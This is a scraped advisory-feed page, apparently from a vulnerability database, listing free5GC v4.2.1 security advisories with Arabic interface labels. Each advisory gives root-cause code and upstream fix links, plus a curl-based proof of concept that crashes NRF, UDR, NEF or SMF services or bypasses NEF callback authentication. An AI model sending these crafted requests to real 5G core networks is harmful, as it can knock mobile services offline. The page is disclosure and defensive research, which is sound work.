``` curl -i -X POST http://10.100.200.3:8000/oauth2/token \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode 'targetNsiList={"mcc":"208","mnc":"93"}' ``` Observed response (per request, no body returned): ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` NRF container logs (`docker logs nrf`) confirm the `reflect.Set` type-confusion panic in `HTTPAccessTokenRequest`, with the panic message changing per field type: ``` [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnId [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.Snssai [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type *models.PlmnIdNid [ERRO][NRF][GIN] panic: reflect.Set: value of type *models.PlmnId is not assignable to type []string INFO][NRF][GIN] | 500 | POST | /oauth2/token | ``` ### Impact Type-confusion panic family (CWE-843) in the form-parser of an unauthenticated, network-reachable, root token-issuance endpoint, with no input validation on field types (CWE-20) and no defensive handling of the resulting panic before reflection (CWE-755). This is NOT framed as an auth-bypass finding: `/oauth2/token` is unauthenticated by design. It is also NOT a process-kill DoS: Gin recovery catches each panic and the NRF process keeps running, so legitimate clients can still get tokens between attacker requests. What the bug realistically gives an off-path attacker: - A reliable, unauthenticated, repeatable panic primitive on the root token endpoint, reachable from a single form-encoded POST. - Per-request CPU + log-write cost that is materially higher than a normal validation reject (`400`) would have been, because the panic generates a stack trace each time. - A class of at least 6 attacker-selectable form keys that all crash via the same root cause, so partial fixes that harden one field do not close the family. - Sustained-attack potential: under flood, the panic-amplification can degrade NRF token issuance (more expensive than `400` validation) and pollute logs / rotate out useful diagnostic history. No Confidentiality impact (`HTTP 500` with empty body, no stack trace returned to the caller). No Integrity impact (panic happens before any state change). Availability impact is limited to per-request degradation under sustained attack; a single request does not deny service to other clients. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/918 Upstream fix: https://github.com/free5gc/nrf/pull/83

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 github.com/free5gc/udr 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The proc...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler panics on a single authenticated request against a fresh UDR instance when the supplied `ueId` does not exist in `UESubsCollection`. The processor checks `value, ok := udrSelf.UESubsCollection.Load(ueId)` and sets a `404 USER_NOT_FOUND` problem-details on the miss path, but execution continues and immediately runs `value.(*udr_context.UESubsData)` -- a Go type assertion on a nil interface, which panics with `interface conversion: interface {} is nil, not *context.UESubsData`. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This is the no-precondition sibling of free5gc/free5gc#919: same handler, same bug pattern (set `pd`, do not return, then dereference), but the panic site is the nil-interface type assertion at line 61 instead of the nil-pointer deref at line 69. No earlier EE-subscription create is required. This endpoint requires a valid `nudr-dr` OAuth2 access token (PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Vulnerable handler (the `ok` miss path sets `pd` but does not return; the next line type-asserts the nil interface): ```go subsId := c.Params.ByName("subsId") s.Processor().RemoveAmfSubscriptionsInfoProcedure(c, subsId, ueId) ``` In the processor: ```go value, ok := udrSelf.UESubsCollection.Load(ueId) if !ok { pd = util.ProblemDetailsNotFound("USER_NOT_FOUND") } UESubsData := value.(*udr_context.UESubsData) // panics: nil interface ``` When `ueId` is absent from `UESubsCollection`, `value` is the nil `interface{}` returned by `sync.Map.Load`, and `value.(*udr_context.UESubsData)` panics with: ``` panic: interface conversion: interface {} is nil, not *context.UESubsData ``` Code evidence (paths in `free5gc/udr`): - Route exposure + handler dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2170` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil interface type assertion): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:53` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:56` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:61` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000` -- single authenticated request, no preconditions. 1. Restart UDR (clean state -- proves no precondition is needed): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Trigger the panic with one DELETE for a nonexistent `ueId=x`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 4. UDR container logs (`docker logs udr`) confirm the nil-interface conversion panic at `event_amf_subscription_info_document.go:61` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: interface conversion: interface {} is nil, not *context.UESubsData github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:61 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact Incorrect type conversion on a nil interface (CWE-704) inside an authenticated UDR data-repository handler, caused by improper handling of the missing-ueId branch (CWE-754): the handler sets a `404` problem-details value but does not return, then runs a Go type assertion on the nil interface returned by `sync.Map.Load`. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, single-request panic on the `amf-subscriptions` delete route against a fresh UDR (no preparatory state needed -- this is strictly easier than free5gc/free5gc#919). - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 USER_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body). No Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/920 Upstream fix: https://github.com/free5gc/udr/pull/60

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

غير محدد
📦 github.com/free5gc/udr 📌 All versions < 1.4.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create....
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable. This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding. ### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000` Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ``` Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") } if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`. Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69` ### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`. 1. Restart UDR (clean state): ``` docker restart udr ``` 2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ``` 3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ``` 4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ``` ### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry. This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have. No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running). Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60

الإصدارات المتأثرة

All versions < 1.4.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

عالية
📦 github.com/free5gc/nef 📌 All versions < 1.2.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The han...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF `PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId}` handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns `err != nil` together with a nil `*ProblemDetails`. The handler's `errPfdData != nil` branch builds its own `problemDetailsErr` correctly, but immediately after it reads `problemDetails.Cause` (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into `HTTP 500`, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing. This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable. The HTTP request itself in v4.2.1 is reachable without an `Authorization` header because the underlying NEF `3gpp-pfd-management` route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end. ### Details Validated against the NEF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/nef:v4.2.1` - Runtime NEF commit: `5ce35eab` - Docker validation date: 2026-03-21 (container log timestamp `2026-03-21T03:06:36Z`) - NEF endpoint: `http://10.100.200.19:8000` Vulnerable handler logic in `PatchIndividualApplicationPFDManagement` (paraphrased): ```go pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID) switch { case problemDetails != nil: ... case errPfdData != nil: problemDetailsErr := &models.ProblemDetails{ Status: http.StatusInternalServerError, Detail: "Query to UDR failed", } c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref c.JSON(int(problemDetailsErr.Status), problemDetailsErr) return } ``` In the `errPfdData != nil` branch, `problemDetails` is by construction nil (otherwise the first `case` would have matched). Reading `problemDetails.Cause` panics with `runtime error: invalid memory address or nil pointer dereference`. The intended value is presumably `problemDetailsErr.Cause` -- the locally constructed problem-details struct. Code evidence (paths in `free5gc/nef`): - Patch handler core path: - `NFs/nef/internal/sbi/processor/pfd.go:563` - `NFs/nef/internal/sbi/processor/pfd.go:610` - Panic site (nil-deref on `problemDetails.Cause`): - `NFs/nef/internal/sbi/processor/pfd.go:622` - Route exposure / dispatch: - `NFs/nef/internal/sbi/api_pfd.go:168` - `NFs/nef/internal/sbi/api_pfd.go:188` ### PoC Reproduced end-to-end against the running NEF at `http://10.100.200.19:8000`. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures. 1. Create an AF context (no Authorization header): ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \ -H 'Content-Type: application/json' \ --data '{"afAppId":"app-nef-npd3","anyUeInd":true}' ``` 2. Create a PFD-management transaction: ``` curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \ -H 'Content-Type: application/json' \ --data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}' ``` 3. Make UDR access fail (lab simulation): ``` docker stop nrf ``` 4. Trigger the panic with one PATCH: ``` curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \ -H 'Content-Type: application/json' \ --data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ``` 5. NEF container logs (`docker logs --since 2026-03-21T03:06:36Z nef`) confirm the nil-deref panic at `pfd.go:622` inside `PatchIndividualApplicationPFDManagement`: ``` [INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3] [ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement .../pfd.go:622 github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement .../api_pfd.go:188 [INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3 | ``` 6. Restore for further testing: ``` docker start nrf ``` ### Impact NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the `errPfdData != nil` branch reads `problemDetails.Cause` even though `problemDetails` is nil by construction in that branch (the prior `case` already matched the non-nil case). The intended target was the locally constructed `problemDetailsErr.Cause`. Gin recovery catches the panic, so the NEF process is NOT killed and other endpoints continue serving. The realized impact is per-request: PATCH against this endpoint returns `500` (with empty body and a stack trace in NEF logs) instead of the intended controlled UDR-failure response, whenever upstream UDR access is failing. No Confidentiality impact (the response is `500` with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation and only fires while UDR access is independently broken; the attacker does not directly control that precondition, so AC:H is the honest assessment. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/925 Upstream fix: https://github.com/free5gc/nef/pull/22

الإصدارات المتأثرة

All versions < 1.2.3

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

عالية
📦 github.com/free5gc/smf 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfigur...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's SMF mounts the `UPI` management route group without inbound OAuth2 middleware (same root cause as free5gc/free5gc#887). The `POST /upi/v1/upNodesLinks` create-or-update handler accepts attacker-controlled JSON and passes it directly into `UpNodesFromConfiguration()`, which calls `logger.InitLog.Fatalf(...)` on several validation failures. One confirmed path is the UE-IP-pool overlap check: a single unauthenticated POST that adds a new UPF whose pool overlaps an existing UPF terminates the entire SMF process (`docker ps` shows `Exited (1)`), not just the goroutine. This is a stronger sink than free5gc/free5gc#905: that one panics inside the request goroutine and Gin recovers; this one calls `Fatalf` which is `os.Exit(1)`-equivalent and kills the whole SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy lookups, etc.) until the process is restarted. ### Details Validated against the SMF container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/smf:v4.2.1` - Runtime SMF commit: `8385c00a` - Docker validation date: 2026-03-22 local (container log timestamp `2026-03-21T23:47:07Z`) - SMF endpoint: `http://10.100.200.6:8000` The broader `UPI` auth gap (#887) lets the unauthenticated POST reach the create/update handler. From there: Vulnerable handler dispatches into topology parsing: ``` POST /upi/v1/upNodesLinks -> UpNodesFromConfiguration() -> isOverlap(allUEIPPools) -> logger.InitLog.Fatalf("overlap cidr value between UPFs") ``` Code evidence (paths in `free5gc/smf`): - UPI group mounted WITHOUT auth middleware (preconditions for unauthenticated reachability): - `NFs/smf/internal/sbi/server.go:76` - `NFs/smf/internal/sbi/server.go:78` - Create-or-update handler accepts attacker JSON and forwards it to `UpNodesFromConfiguration()`: - `NFs/smf/internal/sbi/api_upi.go:60` - `NFs/smf/internal/sbi/api_upi.go:72` - Pool parsing (input from attacker JSON): - `NFs/smf/internal/context/user_plane_information.go:413` - Overlap check that calls `Fatalf`: - `NFs/smf/internal/context/user_plane_information.go:479` The same unauthenticated POST path also reaches sibling `Fatalf` calls for invalid-pool and static-pool-exclusion failures, so this is not a one-off code smell -- it is a class of attacker-reachable `Fatalf` call sites on a single unauthenticated handler: - `NFs/smf/internal/context/user_plane_information.go:416` - `NFs/smf/internal/context/user_plane_information.go:424` - `NFs/smf/internal/context/user_plane_information.go:430` ### PoC Reproduced end-to-end against the running SMF at `http://10.100.200.6:8000`. 1. Trigger: unauthenticated POST that adds a UPF with a UE pool overlapping the default UPF (`10.60.0.0/16`): ``` curl -i -X POST http://10.100.200.6:8000/upi/v1/upNodesLinks \ -H 'Content-Type: application/json' \ --data '{"links":[{"A":"gNB1","B":"UPF-OVERLAP-20260322"}],"upNodes":{"UPF-OVERLAP-20260322":{"type":"UPF","nodeID":"198.51.100.20","addr":"198.51.100.20","sNssaiUpfInfos":[{"sNssai":{"sst":1,"sd":"010203"},"dnnUpfInfoList":[{"dnn":"internet","pools":[{"cidr":"10.60.0.0/16"}]}]}]}}}' ``` Client-side observation (server died mid-request, no HTTP response written): ``` curl: (52) Empty reply from server ``` 2. Confirm the SMF container exited: ``` docker ps -a --filter name=smf --format '{{.Names}}\t{{.Status}}' ``` ``` smf Exited (1) 9 seconds ago ``` 3. SMF container logs (`docker logs --tail 80 smf`) show the `FATA` line that terminated the process: ``` [FATA][SMF][Init] overlap cidr value between UPFs ``` ### Impact Unauthenticated process-kill DoS on the SMF management plane. 1. Missing inbound authentication (CWE-306) and authorization (CWE-862) on the `UPI` route group makes the trigger reachable to any off-path network attacker who can reach SMF on the SBI -- no token, no UE state needed. The same-instance `nsmf-oam` returning `401` (see free5gc/free5gc#887) proves OAuth middleware is wired in for other SMF route groups and only missing on UPI. 2. Reachable assertion / fail-fast (CWE-617): topology parsing calls `logger.InitLog.Fatalf(...)` on attacker-influenced validation failures. `Fatalf` is `os.Exit(1)`-equivalent -- it skips Gin's recovery, the deferred handlers, and kills the whole SMF process. This is materially worse than the related panic-DoS in free5gc/free5gc#905, which Gin recovers from at the goroutine level. Any party that can reach SMF on the SBI can: - Send one unauthenticated POST with an overlapping UE pool and immediately terminate the SMF process, dropping all of SMF's SBI surface (PDU-session establishment, UE policy interactions) until SMF is restarted. - Repeat the trigger after every restart to sustain the outage. - Use sibling `Fatalf` paths (invalid-pool, static-pool exclusion) to sustain the same DoS even if the overlap check is hardened in isolation, because the underlying defect is using `Fatalf` for request-time validation on an unauthenticated handler. No Confidentiality impact (the crash returns no data to the attacker). No persistent Integrity impact (the topology updates are in-memory and are lost when SMF dies). The whole impact concentrates in Availability: complete loss of SMF service via a single unauthenticated request. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/906 Upstream fix: https://github.com/free5gc/smf/pull/203

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

عالية
📦 github.com/free5gc/nef 📌 All versions < 0 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل
💬 ### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and di...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

### Summary free5GC's NEF mounts the `nnef-callback` route group without inbound OAuth2/bearer-token authorization. A forged or arbitrary bearer token (e.g. `Authorization: Bearer not-a-real-token`) is enough to reach the SMF-callback handler -- the callback body is parsed and dispatched into NEF business logic instead of being rejected at the auth boundary. Same root cause as the other NEF SBI findings: the route group is mounted without any inbound auth middleware. NEF does not authenticate the producer NF identity before processing callback content; if an attacker can guess or obtain a valid `NotifId`, this missing auth boundary lets forged callbacks act on real subscription state. The route group is also reachable even when the runtime `ServiceList` does not declare it (it lists only `nnef-pfdmanagement` and `nnef-oam`). ### Details Validated against the NEF container in the official Docker compose lab. - Running Docker image: `free5gc/nef:v4.2.1` - Docker validation date: 2026-03-11 NEF advertises `OAuth2 setting receive from NRF: true`, yet the `nnef-callback` route group is mounted with no inbound auth middleware. The API layer reads the raw request body and deserializes it before any auth check, then the processor looks up subscription state by `NotifId`. Code evidence (paths in `free5gc/nef`): - Callback route group mounted without auth middleware: `NFs/nef/internal/sbi/server.go:64` - Callback route exposed at `/notification/smf`: `NFs/nef/internal/sbi/api_callback.go:13` - API layer reads raw request bytes and deserializes them before any auth check: `NFs/nef/internal/sbi/api_callback.go:23` - Processor looks up the subscription by `NotifId`: `NFs/nef/internal/sbi/processor/callback.go:13` - NEF context only exposes outbound token acquisition (`GetTokenCtx`); there is no inbound authorization path: `NFs/nef/internal/context/nef_context.go:153` - Config validation only allows `nnef-pfdmanagement` and `nnef-oam`: `NFs/nef/pkg/factory/config.go:126` ### PoC Reproduced against the running NEF at `http://10.100.200.19:8000` using a fabricated bearer token. Send a forged callback request: ``` curl -i \ -H 'Authorization: Bearer not-a-real-token' \ -H 'Content-Type: application/json' \ --data '{"notifId":"forged-notif","eventNotifs":[]}' \ http://10.100.200.19:8000/nnef-callback/v1/notification/smf ``` Observed output: ``` HTTP/1.1 404 Not Found {"title":"Data not found","status":404,"detail":"Subscription is not found"} ``` The `404` is positive auth-bypass evidence: the request was parsed and dispatched into the callback business handler instead of being rejected at the auth boundary. NEF container logs (`docker logs nef`) confirm the callback handler was reached: ``` [INFO][NEF][TraffInfl] SmfNotification - NotifId[forged-notif] [INFO][NEF][GIN] | 404 | POST | /nnef-callback/v1/notification/smf ``` ### Impact Missing inbound authentication (CWE-306) and authorization (CWE-862) on the NEF `nnef-callback` SBI route group. This is the trusted ingestion point for SMF -> NEF notifications. The defect is route-group-scoped: there is no auth middleware on the group at all, so every callback endpoint inside this group inherits the missing inbound auth boundary. Severity is scored against the route group's intended capability surface (consume SMF notifications and mutate NEF / downstream subscription state), NOT against the specific PoC where the chosen `NotifId` happened to be invalid. Any party that can reach NEF on the SBI can: - Submit forged SMF callbacks to NEF anonymously, with body content fully controlled by the attacker. - Reach NEF callback business logic without proving producer NF identity, so any attacker who can guess or obtain a valid `NotifId` can deliver forged event notifications against real subscription state -- corrupting AF traffic-influence / PFD-management subscription views and the downstream SMF/UPF policy decisions that depend on them. - Hit any future callback added behind this same route group anonymously, because the auth boundary does not exist for this group. The `nnef-callback` route group is also reachable even when the runtime `ServiceList` does not declare it, so operators relying on `ServiceList` to disable the service do not actually get that protection. Affected: free5gc v4.2.1. Upstream issue: https://github.com/free5gc/free5gc/issues/860 Upstream fix: https://github.com/free5gc/nef/pull/24

الإصدارات المتأثرة

All versions < 0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

عالية
📦 github.com/free5gc/nef 📌 All versions < 1.2.3 ⛓️‍💥 هجوم سلسلة التوريد 🐹 مكتبة Go Go 🎯 عن بعد ⚪ لم تُستغل 🟢 ترقيع
💬 ### Summary free5GC's NEF terminates the entire process when a stored PFD-subscription `notifyUri` cannot be reached. In `PfdChangeNotifier.FlushNotifications()`, the notifier calls `NnefPFDmanagementNotify(...)` and on any delivery error invokes `logger.PFDManageLog.Fatal(err)`,...
📅 2026-05-08 OSV/Go 🔗 التفاصيل

الوصف الكامل

